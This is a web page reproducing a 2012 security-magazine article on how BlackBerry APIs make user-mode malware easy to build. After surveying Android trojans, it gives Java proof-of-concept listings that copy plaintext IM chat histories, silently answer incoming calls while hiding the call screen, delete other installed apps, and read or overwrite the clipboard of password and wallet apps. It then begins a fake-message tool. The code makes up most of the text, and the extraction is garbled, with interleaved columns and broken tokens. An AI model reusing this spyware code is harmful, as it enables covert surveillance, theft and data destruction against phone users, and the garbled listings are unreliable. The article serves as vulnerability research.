When developers api simplify user mode rootkits development – part ii


Published on

This series of articles is about the ease of which user-mode rootkits for BlackBerry can be developed. In a previous article, several cases were mentioned along with ideas on how a mobile rootkit could easily be built on the application level by exploiting API and privilege escalation vulnerabilities or oversight. Cases covered the top trojans for two years with the first one being Android Plankton. Instead of giving access to hidden levels of this popular game, malware sends information about the device to criminals and downloads other malicious programs.

Published in: Technology
  • Be the first to comment

  • Be the first to like this

No Downloads
Total views
On SlideShare
From Embeds
Number of Embeds
Embeds 0
No embeds

No notes for slide

When developers api simplify user mode rootkits development – part ii

  1. 1. Mobile Security When developers API simplify user-mode rootkits development This series of articles is about the ease of which user-mode rootkits for BlackBerry can be developed. I n a previous article, several cases were mentioned • Pulling all contact information and sending it to a along with ideas on how a mobile rootkit could easily remote server (number, name, the time they were be built on the application level by exploiting API and last contacted) privilege escalation vulnerabilities or oversight. Cases • Placing a phone call covered the top trojans for two years with the first one • Silently downloading files being Android Plankton. Instead of giving access to hid- • Launching a web browser with a specific URL den levels of this popular game, malware sends infor- mation about the device to criminals and downloads Geinimi has three different methods of starting it- other malicious programs. self. The trojan will first launch itself as its own ser- From the Android Market alone, the infected pro- vice. The service allows the trojan to start while the gram was downloaded more than 150,000 times and host application appears to functioning normally. Two from alternative resources the number of downloads other ways Geinimi starts revolves around Broad- reached 250,000. Android.Plankton does not exploit castReceivers Android events occurring. The trojan known vulnerabilities in operating systems to elevate will wake itself up from an SMS message. The Gein- its own privileges. Instead, it downloads its own ser- imi trojan has encrypted the embedded data, pay- vice in the background immediately after the launch load and all communications – however, encryption of the infected application and begins to collect in- is weak. The values in the request for commands formation about the device and sends it to a remote can be used by the command and control server to server. identify information about infected devices. The lon- Another example was the Android malware Droid- gitude and latitude can then be used to track the lo- KungFu. This malware is capable of rooting the vulner- cation of this specific user. Also, the trojan gathers a able Android phones and may successfully evade de- list of applications and their activities on the device, tection by the current mobile anti-virus software. This sends an SMS to any recipient, deletes SMSs, lists malware is identified from four Android apps that have SMSs to specific contacts, lists contacts and their been circulated among at least eight alternative Chi- information, calls any number, silently downloads nese app markets and forums. The malware will add a files and launches a web browser with a specific new service and receiver into the infected app. The re- URL. ceiver will be notified when the system finishes booting An SMS trojan called Trojan-SMS.AndroidOS.Fake- so that it can automatically launch the service without Player, once installed, actually sends out SMS mes- user interaction. sages without the user’s knowledge or consent. Us- Geinimi Trojan includes capacities to gain for: ers are prompted to install a small file of around 13KB (have you ever seen such a small media player?). The • Reading and collecting SMS messages trojan bundled with it then begins texting premium rate • Sending and deleting selected SMS messages phone numbers. The criminals are actually the ones 56 04/2012
  2. 2. Listing 1. API-routines to design malware “MEDIA PLAYER IO (Input/Output)” import java.io.DataInputStream; import java.io.IOException; import java.io.OutputStream; import javax.microedition.io.Connector; import javax.microedition.io.file.FileConnection; import net.rim.device.api.io.IOUtilities; Listing 2a. Code Example how read and write files [malware “MEDIA PLAYER IO (Input/Output)”] public static byte[] readFile(String FullName) ///FullName includes FullPath to file with file name and file extension { byte[] data = null; //array of data you want to return (read) FileConnection fconn = null; DataInputStream is = null; try { fconn = (FileConnection) Connector.open(FullName, Connector.READ); s = fconn.openDataInputStream(); data = IOUtilities.streamToBytes(is); } catch (IOException e) { } finally { try { f (null != is) { s.close(); } if (null != fconn) { fconn.close(); } } catch (IOException e) { } } return data; } public static void writeFile(String FullName, byte[] data) ///FullName includes FullPath to file with file name and file extension // data is array you want to put into file { FileConnection fconn = null; OutputStream os = null; try { fconn = (FileConnection) Connector.open(FullName, Connector.READ_WRITE); if (!fconn.exists()) // create file if one doesn’t exist {www.hakin9.org/en 57
  3. 3. Mobile Security Listing 2a. Code Example how read and write files [malware “MEDIA PLAYER IO (Input/Output)”] fconn.create(); } os = fconn.openOutputStream(fconn.fileSize()); os.write(data); } catch (Exception e) { Dialog.alert(e.getMessage()); finally { try { os.close(); fconn.close(); } catch (IOException e) { Dialog.alert(e.getMessage()); } } } Listing 3. File’n’Folder TreeWalk (breifly) Vector Path = new Vector(); Path.addElement((String) “file:///SDCard/BlackBerry/im”); Path.addElement((String) “...” - repeat several times Enumeration Path_enum = Path.elements(); while (Path_enum.hasMoreElements()) { current_path = (String) Path_enum.nextElement(); to do something } operating these numbers, so they end up collecting the online banking session open and live even after us- money via charges to the victims’ accounts. ers think they have logged out of their account. This The trojan spyware application known as Zitmo, is de- allows criminals to extract money and continue other signed to steal people’s financial data by listening to all in- fraudulent activity even after the user thinks the ses- coming SMS messages and forwarding them to a remote sion has ended. web server. That is a security risk, as some banks now send mTANs via SMS as a one-time password for authen- BlackBerry Opportunity tication. By intercepting these passwords, it can not only Is it really difficult to bring the vulnerabilities to the Black- create fraudulent money transfers, but also verify them. Berry devices? We are going to see how it is really easy The trojan program “OddJob” does not require fraud- to port these techniques to BlackBerry devices. sters to log into a user’s online bank account to steal The first two ideas and proof-of-concepts are about from it. Instead, the malware is designed to hijack a the BlackBerry file-system. As you may know, Black- user’s online banking session in real-time by stealing Berry can encipher the whole file system as well as re- session ID tokens. By stealing the tokens and embed- moved files. Talking about a ciphered file-system, you ding them into their own browsers, fraudsters can im- should understand that this feature makes sense only personate a legitimate user and access accounts while when all storage cards and memory are removed from the user is still active online. The access allows fraud- devices to extract information, similar to forensic cases. sters to then conduct whatever banking operations the Instead, when you rely on live spying you will get much account holder can perform. This approach is differ- more information rather trying to decipher it or get the ent than typical man-in-the browser attacks where at- password. tackers use trojans to steal login credentials that are First malware concept, the so called media player, then used to break into online accounts. The second based not so much on human bugs as it is on GUI interesting feature in OddJob is its ability to keep an bugs. Unfortunately, humans are not the last point of 58 04/2012
  4. 4. File Paths should be monitored /Device/Home/User/ – if information stored on internal memory /MediaCard/BlackBerry/ – if information stored on external memory ../IM/AIM/USERNAME/history/ – AIMs history in csv format ../IM/BlackBerryMessenger/PIN/history/ – BBMs history in csv format ../IM/GoogleTalk/USERNAME/history/ – GTalks history in csv format ../IM/Yahoo/USERNAME/history/ – YMessengers history in csv format ../IM/WindowsLive/USERNAME/history/ – WLives history in csv format ../pictures – Manully added pic or screenshoted data ../camera – Photo captured data ../videos – Video captured data ../voice notes – Voice captured datadefense when we talk about vulnerabilities, trojans, named as IMG20120103-xxxx. To talk about a geo-tagetc. Our behaviour is based on traditions of the past per file, a “Moskva” prefix in added to file name. It issometimes, as well as tools which used to change with obvious why developers store the name of the file asage. In the past, access to files used to be strictly via the city part, date part and increment part. ContinuousDOS/Unix system; nowadays we have an aggregation numbering is allowed in these cases, but why isn’t itof folders like Music, Photos, Photo-Camera’s folder, developed with the increment part then the hash partor Videos. The GUI was developed as a result of the at the end of file name (XXXX-hash-dot-extension)?desire for a convenient way to access files. Taking the Several file-systems differ in the way files should bediscussion to file access on our smart phones, audio sorted, but developers are still able to ask device own-notes, photos, videos, music, and camera’s data are ers what they prefer. Doing this makes things sim-stored in one place (more correctly in two places, on ple, easier to control and a bit more secure, don’t youinternal storage and external storage like SD-card) agree? Of course, our media player as malware mustand applications are allowed to access these folder have a network connection to get updates despite thepaths to extract data in real-time; moreover API ac- fact that each BlackBerry device receives update noti-cess to those same folders are easily obtained. Also, fications from AppWorld and OS updates should be re-they may associate their listeners with a specific file ceived via USB-cable by synchronizing with the Black-format like .AMR which used to store your BlackBerry Berry Desktop Software. Instead, our application mayaudio notes. They are often stored in the “voicenotes” grab news from an official site, update news, offers tofolder, named as VN-20120319-xxxx.AMR. As you can share music status and steal and send cached infor-see, you do not need to extract its properties to know mation (Listing 1-Listing 3).when it was recorded; you do not even need to link Second malware concept covers BlackBerry chats. If(programmatically) the folder with type of file (logical you turn on the option to save chat on internal storagelevel) because “VN” is a voice note. Video files are re- (device) or on external storage (SD-Card) you will becorded by the device and named “VID-YYYYMMDD- notified about how you should ask interlocutor to agreeXXXXXX.3GP” as voice note or picture file. Photos are with recording your chat history. By the way, it doesn’tFigure 1. Logged BlackBerry Conversation Figure 2. Window of BlackBerry Conversationwww.hakin9.org/en 59
  5. 5. Mobile Security Figure 3. Logged Google Conversation Figure 5. Logged WinLive Conversation Figure 4. Window of Google Conversation Figure 6. Window of WinLive Conversation Chat Details Then stores a “history” folder which contatins .CSV files named All IM chats (from application developed by RIM) files marked by account name of interlocutor like yury.chemerkin@gmail. to be saved are often located on the same file paths com. Also, conference/group chats folder are placed here: INTERNAL STORAGE: file:///store/home/user/im • AIM: Conferences EXTERNAL STORAGE: file:///SDCard/BlackBerry/im • Google: Conferences • Windows Live: Conferences Then stores IM folder per each native IM client • Yahoo: Conferences IM Folders • BlackBerry: Group Chats • AIM BlackBerry chat csv file format • BlackBerry Messenger Date/Time PIN Sender PIN Receiver Data • Google Talk YYYYMMDDHHMMSSMS HEX VALUE HEX VALUE STRING • Windows Live • Yahoo Non-BlackBerry chat csv file format Date/Time ID Sender ID Receiver Data Then stores folder named as your account such as YYYYMMDDHHMMSSMS STRING STRING STRING • AIM Account: yury.chemerkin@aim.com • Google Account: yury.chemerkin@gmail.com • Windows Live Account: yury.chemerkin@hotmail.com • Yahoo Account: yury.chemerkin • BlackBerry Account: 23436780 (BlackBerry PIN) 60 04/2012
  6. 6. Figure 7. Logged Yahoo Conversation Figure 9. Logged AIM (AOL) Conversationwork for each, instead, it is a global feature; that’s why • The same way to store chatsthere’s no sense as you see. By default this feature is • You need to turn on saving option featureturned off. However, if you turn on saving you will be sur- • Notepad or Excel to see them (Figure 1-Figure 10,prised by the fact that your data is stored in clear-text. Listing 4)Don’t think that only Google, Yahoo, or another non-BlackBerry doesn’t encipher them; BlackBerry chats are Third malware concept is based on several APIs act-still not encrypted. Also, Shape IM+ for Linux relies on ing in stealth mode. At first, you have to catch incom-the root folder only without encryption. Note, that Yahoo ing call events, secondly, you have to simulate an an-Messenger, AIM (AOL) Messenger, Windows Live Mes- swer event by simulating pressing of the answer but-senger, Google Messenger and BlackBerry Messenger ton and then you should hide the caller screen to getare developed by RIM. However, there’s a native secu- back the home screen by simulating/pressing the es-rity solution: no .CSV format by the device except for cape button. Answer simulating refers to the Keypad.special programs. Just copy this file to a PC and open it KEY _ SEND; to release pressing you have to press andwith Notepad. To see formatted chats, you should open release button by simulating KeyCodeEvent.KEY _ DOWNit with Excel or OpenOffice. and KeyCodeEvent.KEY _ UP. Before you do this, you should understand that at least 1 second should passSummary when you get an incoming event to draw a native call- er to the screen you managed. Then (when accept-• File-system ciphering isn’t developed for live spying ing an incoming call) you should hide via Keypad.• Chats stored in clear-text KEY _ ESCAPE , however if you press the escape button• You can’t read them with device you will be asked whether or not to go to the homeFigure 8. Window of Conversation Figure 10. Window of AIM (AOL) Conversationwww.hakin9.org/en 61
  7. 7. Mobile Security Listing 4a. IM Chat Thief package blackberryChatThief; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.util.Enumeration; import java.util.Vector; import javax.microedition.io.Connector; import javax.microedition.io.file.FileConnection; import net.rim.device.api.io.IOUtilities; import net.rim.device.api.io.file.ExtendedFileConnection; import net.rim.device.api.ui.Field; import net.rim.device.api.ui.FieldChangeListener; import net.rim.device.api.ui.component.ButtonField; import net.rim.device.api.ui.component.Dialog; import net.rim.device.api.ui.container.MainScreen; public class BlackBerryChatThiefScreen extends MainScreen implements FieldChangeListener public BlackBerryChatThiefScreen() { setTitle(“BlackBerry Chat Thief Application”); checkButton = new ButtonField(ButtonField.CONSUME_CLICK | ButtonField.FIELD_HCENTER); checkButton.setLabel(“Steal your own chat :)”); checkButton.setChangeListener(this); add(checkButton); exitButton = new ButtonField(ButtonField.CONSUME_CLICK | ButtonField.FIELD_HCENTER); exitButton.setLabel(“Exit”); exitButton.setChangeListener(this); add(exitButton); } public void fieldChanged(Field field, int param) { if (field == checkButton) { String string_result; try { Vector Path = new Vector(); String current_path = new String(); String current_im = new String(); String current_id = new String(); String current_conv = new String(); String root_dir = new String(); 62 04/2012
  8. 8. Listing 4b. IM Chat Thief Vector log = new Vector(); FileConnection root_sdcard = null; FileConnection root_store = null; try { root_sdcard = (FileConnection)Connector.open(“file:///SDCard/”); } catch (IOException ex) { log.addElement((String) “SDCard not found”); } try { root_store = (FileConnection)Connector.open(“file:///store/”); } catch (IOException ex) { log.addElement((String) “store not found”); } if ((root_sdcard != null) && root_sdcard.exists()) { root_dir = “file:///SDCard/”; Path.addElement((String) “file:///SDCard/BlackBerry/im”); } else if ((root_store != null) && root_store.exists()) { root_dir = “file:///store/home/user/”; Path.addElement((String) “file:///store/home/user/im”); } Enumeration Path_enum = Path.elements(); FileConnection copyf = (FileConnection)Connector.open(root_dir + “chat.txt”); if (copyf.exists()) { copyf.delete(); } copyf.create(); OutputStream writer = copyf.openOutputStream(); FileConnection logger = (FileConnection)Connector.open(root_dir + “log.txt”); if (logger.exists()) { logger.delete(); } logger.create(); OutputStream logwriter = logger.openOutputStream(); if (!Path_enum.hasMoreElements()) { logwriter.write((“Directory [“ + Path + “] doesn’t have subdirsrn”). getBytes());www.hakin9.org/en 63
  9. 9. Mobile Security Listing 4c. IM Chat Thief logwriter.flush(); } else while (Path_enum.hasMoreElements()) { logwriter.write((“Directory [“ + Path + “] has subdirsrn”).getBytes()); logwriter.flush(); current_path = (String) Path_enum.nextElement(); FileConnection IM_dir = (FileConnection)Connector.open(current_path); if (!IM_dir.exists()) { logwriter.write((“Path [“ + IM_dir.getURL() + “] doesn’t found rn”).getBytes()); logwriter.flush(); } else { logwriter.write((“Path [“ + IM_dir.getURL() + “] foundsrn”).getBytes()); logwriter.flush(); Enumeration IM_list = IM_dir.list(); if (!IM_list.hasMoreElements()) { logwriter.write((“Directory [“ + IM_dir.getURL() + “] doesn’t have subdirsrn”).getBytes()); logwriter.flush(); } else while (IM_list.hasMoreElements()) { logwriter.write((“Directory [“ + IM_dir.getURL() + “] has subdirs rn”).getBytes()); logwriter.flush(); current_path = IM_dir.getURL() + (String) IM_list.nextElement(); FileConnection ID = (FileConnection)Connector.open(current_path); if (!ID.exists()) { logwriter.write((“Path [“ + ID.getURL() + “] doesn’t foundrn”). getBytes()); logwriter.flush(); } else { logwriter.write((“Path [“ + ID.getURL() + “] foundsrn”). getBytes()); logwriter.flush(); current_im = “CURRENT IM TYPE :: “ + ID.getName().substring(0, ID.getName().length() - 1) + “rn”; 64 04/2012
  10. 10. Listing 4d. IM Chat Thief //current_im = “rn--------IM SEPARATOR------rn” + current_im; Enumeration ID_list = ID.list(); if (!ID_list.hasMoreElements()) { logwriter.write((“Directory [“ + ID.getURL() + “] doesn’t have subdirsrn”).getBytes()); logwriter.flush(); } else while (ID_list.hasMoreElements()) ////if (ID_list.hasMoreElements()) { logwriter.write((“Directory [“ + ID.getURL() + “] has subdirs rn”).getBytes()); logwriter.flush(); current_path = ID.getURL() + (String) ID_list.nextElement() + “history”; FileConnection history_dir = (FileConnection)Connector. open(current_path); if (!history_dir.exists()) { logwriter.write((“Directory [“ + history_dir.getURL() + “] doesn’t existrn”).getBytes()); logwriter.flush(); } else { current_id = current_path.substring(0, current_path.length() - (“/history”).length()); current_id = current_id.substring(ID.getURL().length(), current_id.length());// - ID.getURL().length()); //current_id = “rn--------ID SEPARATOR------rn” + current_id; current_id = “CURRENT ID :: “ + current_id + “rn”; Enumeration chats = history_dir.list(); if (!chats.hasMoreElements()) { logwriter.write((“Directory [“ + history_dir.getURL() + “] doesn’t have subdirsrn”).getBytes()); logwriter.flush(); } else { logwriter.write((“Directory [“ + history_dir.getURL() + “] has subdirsrn”).getBytes()); logwriter.flush(); while (chats.hasMoreElements()) {www.hakin9.org/en 65
  11. 11. Mobile Security Listing 4e. IM Chat Thief current_path = history_dir.getURL() + (String) chats.nextElement(); ExtendedFileConnection chat_file = (ExtendedFileConnection)Connector.open(current_path); if (!chat_file.isDirectory() & !chat_file.getName(). endsWith(“rem”)) { current_conv = chat_file.getName(); //current_conv = “rn--------CHAT SEPARATOR---- --rn” + current_conv; current_conv = “CURRENT CHAT :: “ + current_conv + “rnCHAT :: rn”; byte[] array = new byte[(int) chat_file. fileSize()]; InputStream raw_reader = chat_file. openInputStream(); array = IOUtilities.streamToBytes(raw_reader); raw_reader.close(); logwriter.write((“CSV [“ + chat_file.getURL() + “] has readrn”).getBytes()); logwriter.flush(); writer.write(current_im.getBytes()); writer.write(current_id.getBytes()); writer.write(current_conv.getBytes()); writer.write(array); writer.write((“rn--------separator------ rn”).getBytes()); logwriter.write((“CSV [“ + chat_file.getURL() + “] has writtenrn”).getBytes()); logwriter.flush(); } } } } } } } } } logwriter.write((“DONErn”).getBytes()); logwriter.flush(); string_result = “DONE”; writer.flush(); writer.close(); logwriter.flush(); logwriter.close(); copyf.close(); 66 04/2012
  12. 12. Listing 4f. IM Chat Thief } catch (Exception ex) { string_result = ex.toString() + “||” + ex.getMessage(); } Dialog.alert(string_result); } else if (field == exitButton) { System.exit(0); } } }Figure 11. Before Call Figure 13. Answeringscreen. Therefore malware has to simulate an agree- coming calls. To extend impacting to simulate phys-ment via Keypad.KEY _ ENTER to successfully bypass the ical input, you can read my 2nd article (Hakin9, Isuser eyes. Where it is all at, no one has another API Data Secure On The Password Protected Blackber-to make your own caller screen and manage the in- ry Device). However, it is easy to put a symbol in theFigure 12. Incoming Call Figure 14. Escaping to the Home Screenwww.hakin9.org/en 67
  13. 13. Mobile Security Listing 5a. Caller Malware package blackBerryPhoneEmulation; import net.rim.blackberry.api.phone.Phone; import net.rim.blackberry.api.phone.PhoneCall; import net.rim.blackberry.api.phone.PhoneListener; import net.rim.device.api.system.EventInjector; import net.rim.device.api.system.EventInjector.KeyCodeEvent; import net.rim.device.api.ui.UiApplication; public class BlackBerryPhoneEmulationApp extends UiApplication implements PhoneListener { int sleep_time = 1000; public static void main(String[] args) { BlackBerryPhoneEmulationApp theApp = new BlackBerryPhoneEmulationApp(); theApp.enterEventDispatcher(); } public BlackBerryPhoneEmulationApp() { pushScreen(new BlackBerryPhoneEmulationScreen()); Phone.addPhoneListener(this); } public void close() { Phone.removePhoneListener(this); System.exit(0); } public void callIncoming(int callId) { final PhoneCall call = Phone.getCall(callId); final String number = call.getDisplayPhoneNumber(); EventInjector.KeyCodeEvent pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_ DOWN, (char) Keypad.KEY_SEND, 0); EventInjector.KeyCodeEvent releaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent. KEY_UP, (char) Keypad.KEY_SEND, 0); try { Thread.sleep(sleep_time); } catch (InterruptedException e) {} EventInjector.invokeEvent(pressKey); EventInjector.invokeEvent(releaseKey); } 68 04/2012
  14. 14. Listing 5b. Caller Malware public void callAdded(int callId) {} public void callAnswered(int callId) {} public void callConferenceCallEstablished(int callId) {} public void callConnected(int callId) { EventInjector.KeyCodeEvent pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_DOWN, (char) Keypad.KEY_ESCAPE, 0); EventInjector.KeyCodeEvent releaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_UP, (char) Keypad.KEY_ESCAPE, 0); try { Thread.sleep(sleep_time); // Waiting a caller screen have been drawn } catch (InterruptedException e) {} } EventInjector.invokeEvent(pressKey); EventInjector.invokeEvent(releaseKey); ///Releasing Escaping to the Home Screen pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_DOWN, (char) Keypad.KEY_ENTER, 0); eleaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_UP, (char) Keypad.KEY_ENTER, 0); try { Thread.sleep(sleep_time); //Waiting prompt screen have been drawn } catch (InterruptedException e) {} EventInjector.invokeEvent(pressKey); EventInjector.invokeEvent(releaseKey); ///Accepting Escaping to the Home Screen } public void callDirectConnectConnected(int callId) {} public void callDirectConnectDisconnected(int callId) {} public void callDisconnected(int callId) {} public void callEndedByUser(int callId) {} public void callFailed(int callId, int reason) {} public void callHeld(int callId) {} public void callInitiated(int callid) {} public void callRemoved(int callId) {} public void callResumed(int callId) {} public void callWaiting(int callid) {} public void conferenceCallDisconnected(int callId) {} }www.hakin9.org/en 69
  15. 15. Mobile Security Figure 15. App list with Victim app Figure 18. Details of deleted victim app Fourth malware concept is about destructive inter- action. What is a common thesis when someone talks about security? A security component must not be delet- ed because it brings down a security wall. Why doesn’t malware delete all applications and modules installed on your device? Some applications consist of several modules and one removed crash down after the first successful reboot. Another attack vector, BlackBerry Enterprise Server offers application controlling by re- sending modules to selected devices regarding IT Pol- icy. If a malware application turns off wireless to crash the device then no one policy saves the device. When you install an application you are asked to choose per- missions that you grant to this application. As you know from my articles about screenshot catching, the device Figure 16. Details of Victim Apps sometimes should ask what windows are allowed to in- teract with screenshot and which aren’t allowed. This text field, while putting a string by one symbol and case is the same and all you need to delete other appli- track-wheel moving is too difficult although it may be cations is a name and permission to interact with Appli- enough to input passwords (Figure 11-Figure 14, List- cation Manager. How do you extract data about applica- ing 5). tions? The easiest way to interrupt user flows is to grab active applications at current time via ApplicationManager. getApplicationManager().getVisibleApplications();. When the application list has got malware grabs Localized- Name and ModuleHandle to find them in Application Manager lists and deletes by using: ModuleHandle. That’s all (Figure 15-Figure 18, Listing 6). Fifth malware concept manages with Clipboard. From previous zsndroid malware cases I retell in the begin- ning you learn password may extract from SMS or GET/ POST requests. My case refers to Password Keeper and BlackBerry Wallet, which are both developed by RIM; also, it is native and pre-installed by default. The first application is designed to keep passwords more than the second, which is designed to keep not only passwords but also banking data. Extract essential in- formation stored in BlackBerry backups. Elcomsoft Figure 17. App List with deleted victim app BlackBerry Backup Explorer allows forensic specialists 70 04/2012
  16. 16. Listing 6a. Code Example how find application among set of applications already running and how delete application package blackBerryDeleterpackage; import net.rim.device.api.system.ApplicationDescriptor; import net.rim.device.api.system.ApplicationManager; import net.rim.device.api.system.CodeModuleManager; import net.rim.device.api.ui.Field; import net.rim.device.api.ui.FieldChangeListener; import net.rim.device.api.ui.component.ButtonField; import net.rim.device.api.ui.container.MainScreen; public final class BlackBerryDeleterScreen extends MainScreen implements FieldChangeListener { ButtonField bt_find = null; ButtonField bt_delete = null; TextField tf2 = null; String stf2 = “”; public BlackBerryDeleterScreen() { // Set the displayed title of the screen setTitle(“BlackBerryDeleterTitle”); bt_find = new ButtonField(); bt_delete = new ButtonField(); tf2 = new TextField(); bt_find.setLabel(“FIND APP”); bt_delete.setLabel(“DEL APP”); bt_find.setChangeListener(this); bt_delete.setChangeListener(this); tf2.setLabel(“INFOrn”); add(tf2); add(bt_find); add(bt_delete); } public void fieldChanged(Field field, int context) { if (field == bt_find) //BUTTON “FIND APPLICATION” { try { int curr_app = ApplicationDescriptor.currentApplicationDescriptor().getModuleHandle(); ApplicationDescriptor desc = null; ApplicationDescriptor[] descs = null; try { descs = ApplicationManager.getApplicationManager(). getVisibleApplications();www.hakin9.org/en 71
  17. 17. Mobile Security Listing 6b. Code Example how find application among set of applications already running and how delete application int handle = 0; stf2 += “length = “ + descs.length + “rn”; for (int i = 0; i < descs.length; i++) { stf2 += “|| “ + descs[i].getLocalizedName() + “ ||” + “rn”; stf2 += “|| “ + descs[i].getModuleHandle() + “ ||” + “rn”; if (descs[i].getModuleName().compareTo(“BlackBerryFILEIO”) == 0) { handle = descs[i].getModuleHandle(); stf2 += descs[i].getModuleName() + “rn”; } else if (descs[i].getLocalizedName().compareTo(“BlackBerry FILE IO”) == 0) { handle = descs[i].getModuleHandle(); stf2 += descs[i].getLocalizedName() + “rn”; } } try { if (handle > 0) { stf2 += “app found” + “rn”; } else { stf2 += “handle null” + “rn”; } } catch (Exception e) { stf2 += e.getMessage() + “rn”; } } catch (Exception e) { stf2 += e.getMessage() + “rn”; } } catch (Exception e) { stf2 += e.getMessage(); } tf2.setText(stf2); } else if (field == bt_delete) //BUTTON DELETE APPLICATION { try { int curr_app = ApplicationDescriptor.currentApplicationDescriptor().getModuleHandle(); ApplicationDescriptor desc = null; 72 04/2012
  18. 18. Listing 6c. Code Example how find application among set of applications already running and how delete application ApplicationDescriptor[] descs = null; try { descs = ApplicationManager.getApplicationManager().getVisibleApplications(); int handle = 0; stf2 += “length = “ + descs.length + “rn”; for (int i = 0; i < descs.length; i++) { stf2 += “|| “ + descs[i].getLocalizedName() + “ ||” + “rn”; stf2 += “|| “ + descs[i].getModuleHandle() + “ ||” + “rn”; if (descs[i].getModuleName().compareTo(“BlackBerryFILEIO”) == 0) { handle = descs[i].getModuleHandle(); stf2 += descs[i].getModuleName() + “rn”; } else if (descs[i].getLocalizedName().compareTo(“BlackBerry FILE IO”) == 0) { handle = descs[i].getModuleHandle(); stf2 += descs[i].getLocalizedName() + “rn”; } } try { if (handle > 0) { CodeModuleManager.deleteModuleEx(handle, true); stf2 += “true delete” + “rn”; } else { stf2 += “handle null” + “rn”; } } catch (Exception e) { stf2 += e.getMessage() + “rn”; } } catch (Exception e) { stf2 += e.getMessage() + “rn”; } } catch (Exception e) { stf2 += e.getMessage(); } tf2.setText(stf2); } } }www.hakin9.org/en 73
  19. 19. Mobile Security Listing 7. Clipboard exploitation (How extract data to steal data, and how to put data to mislead someone) import net.rim.device.api.ui.component.TextField; import net.rim.device.api.ui.container.MainScreen; import net.rim.device.api.system.Clipboard; public final class BlackBerryClipboardScreen extends MainScreen { public BlackBerryClipboardScreen() { setTitle(“BlackBerryClipboardTitle”); Clipboard clipb = Clipboard.getClipboard(); Figure 19. BB Wallet. Creating & Stealing TextField tf1 = new TextField(); investigating the content of BlackBerry devices by ex- add(tf1); tracting, analyzing, printing or exporting the content of a TextField tf2 = new TextField(); BlackBerry backup produced with BlackBerry Desktop add(tf2); Software. But Elcomsoft manages to work with export- TextField tf3 = new TextField(); ed data that you back up. RIM made a “good” security add(tf3); solution to restrict any access attempts to the clipboard while their applications are active. If you try to grab data tf1.setLabel(“to_string : < “ + clipb. you’ll get the error message “Unauthorized attempt to toString() + “ >”); attach to this application.” Don’t panic, because when a // SHOW CLIPBOARD AS STRING OBJECT user minimizes it or closes it, a successful data extrac- String str = “”; tion happens. If you want to know whether BlackBerry try Wallet (or Password Keeper) is running now, use the { code example on how to find application (Figure 19-Fig- str = (String)clipb.get(); ure 20, Listing 7). // GET CLIPBOARD DATA Screenshotting has been discussed many times, } therefore I highlight that “this feature” can easily by- catch (Exception e) { } pass security flows when the user restricts other per- try missions. For example, if user restricts a GEO per- { mission you listen to active applications for catching clipb.put(“PUT”); screen shot of a map that the user is seeing at current // CLIPBOARD SET BY WORD “PUT” time. When the map application starts it often shows } catch (Exception e) { } tf2.setLabel(“getted : < “ + str + “ >”); // SHOW THAT CLIPBOARD DATA HAS BEEN STOLEN try { str = (String)clipb.get(); // GET NEW CLIPBOARD DATA } catch (Exception e) { } tf3.setLabel(“getted : < “ + str + “ >”); // SHOW THAT CLIPBOARD SET BY WORD “PUT” } } Figure 20. BB Wallet. Showing & Stealing 74 04/2012
  20. 20. Listing 8a. MESSAGE MISLEADING CONSUME_CLICK | ButtonField.FIELD_ HCENTER); package blackBerryMessageMisleading; checkiButton.setLabel(“Inbox Misleading”); checkiButton.setChangeListener(this); import java.io.DataInputStream; add(checkiButton); import java.io.IOException; import java.util.Date; checkiaButton = new ButtonField(ButtonField. CONSUME_CLICK | ButtonField.FIELD_ import javax.microedition.io.Connector; HCENTER); import javax.microedition.io.file.FileConnection; checkiaButton.setLabel(“Inbox Attach Misleading”); import net.rim.blackberry.api.mail.Address; checkiaButton.setChangeListener(this); import net.rim.blackberry.api.mail.AddressException; add(checkiaButton); import net.rim.blackberry.api.mail.Folder; import net.rim.blackberry.api.mail.Message; checkoButton = new ButtonField(ButtonField. import net.rim.blackberry.api.mail.MessagingException; CONSUME_CLICK | ButtonField.FIELD_ import net.rim.blackberry.api.mail.Multipart; HCENTER); import net.rim.blackberry.api.mail. checkoButton.setLabel(“Outbox Misleading”); NoSuchServiceException; checkoButton.setChangeListener(this); import net.rim.blackberry.api.mail.PINAddress; add(checkoButton); import net.rim.blackberry.api.mail.Session; import net.rim.blackberry.api.mail.Store; checkpoButton = new ButtonField(ButtonField. import net.rim.blackberry.api.mail. CONSUME_CLICK | ButtonField.FIELD_ SupportedAttachmentPart; HCENTER); import net.rim.device.api.io.IOUtilities; checkpoButton.setLabel(“OutBox PIN MISLEAD”); import net.rim.device.api.io.MIMETypeAssociations; checkpoButton.setChangeListener(this); import net.rim.device.api.ui.Field; add(checkpoButton); import net.rim.device.api.ui.FieldChangeListener; import net.rim.device.api.ui.component.ButtonField; checkpiButton = new ButtonField(ButtonField. import net.rim.device.api.ui.component.Dialog; CONSUME_CLICK | ButtonField.FIELD_ import net.rim.device.api.ui.component.TextField; HCENTER); import net.rim.device.api.ui.container.MainScreen; checkpiButton.setLabel(“InBox PIN MISLEAD”); checkpiButton.setChangeListener(this); public final class BlackBerryMessageMisleadingScreen add(checkpiButton); extends MainScreen implements FieldChangeListener tf = new TextField(); { tf.setLabel(“enter fake pin”); private ButtonField checkiButton = null; tf.setText(“”); private ButtonField checkoButton = null; add(tf); private ButtonField checkpoButton = null; } private ButtonField checkpiButton = null; private ButtonField checkiaButton = null; public void fieldChanged(Field field, int param) TextField tf = null; { if (field == checkoButton) public BlackBerryMessageMisleadingScreen() { { String res = “”; setTitle(“BlackBerry Message Misleading”); boolean odelivered TextField textfield = new TextField(); = true;//false; textfield.setLabel(“Mislead yourself via //MESSAGE WILL BE BlackBerry Technology”); DELIVERED add(textfield); String omessage = “^_^”; checkiButton = new ButtonField(ButtonField.www.hakin9.org/en 75
